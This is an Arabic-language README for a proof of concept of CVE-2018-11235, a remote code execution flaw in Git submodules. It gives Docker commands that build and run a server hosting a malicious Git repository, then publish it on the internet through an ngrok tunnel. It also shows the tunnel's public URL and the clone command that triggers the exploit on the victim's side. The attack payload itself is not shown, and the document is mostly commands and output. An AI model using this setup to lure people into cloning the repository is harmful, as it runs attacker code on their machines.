CVE-2018-11235-Git-Submodule-CE + إعداد Docker Ngrok

CVE-2018-11235-Git PoC وإنشاء نفق باستخدام docker ngrok

بناء Dockerfile

$ docker build -t cve-2018-11235 .

إنشاء شبكة مخصصة لـ ngrok

$ docker network create myngroknet

تشغيل خادم Git Http

$ docker run -d -p 8080:80 --net myngroknet --name cve-2018-11235 cve-2018-11235

تشغيل خادم Ngrok HTTP لخادم Git

$ docker run -d -p 4040:4040 --net myngroknet --name ngrok wernight/ngrok ngrok http cve-2018-11235:80 --authtoken PUT_YOUR_NGROK_AUTHTOKEN

يمكنك الآن الوصول إلى API للعثور على النطاق المعيّن:

$ curl $(docker port www_ngrok 4040)/api/tunnels
{"tunnels":[{"name":"command_line","uri":"/api/tunnels/command_line","public_url":"https://f5fc-116-206-35-27.ngrok.io","proto":"https","config":{"addr":"http://cve-2018-11235:80","inspect":true},"metrics":{"conns":{"count":0,"gauge":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0},"http":{"count":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0}}},{"name":"command_line (http)","uri":"/api/tunnels/command_line%20%28http%29","public_url":"http://f5fc-116-206-35-27.ngrok.io","proto":"http","config":{"addr":"http://cve-2018-11235:80","inspect":true},"metrics":{"conns":{"count":0,"gauge":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0},"http":{"count":0,"rate1":0,"rate5":0,"rate15":0,"p50":0,"p90":0,"p95":0,"p99":0}}}],"uri":"/api/tunnels"}

PoC على خادم Git المعرّض للثغرات

$ git clone --recurse-submodules http://f5fc-116-206-35-27.ngrok.io/malicious.git

المراجع:

• CVE-2018-11235 git RCE
• CVE-2018-11235-Git-Submodule-CE
• كشف خدمات حاويات Docker على الإنترنت باستخدام صورة ngrok docker
• wernight/ngrok
• CVE-2018-11235 - PoC سريع وغير منمّق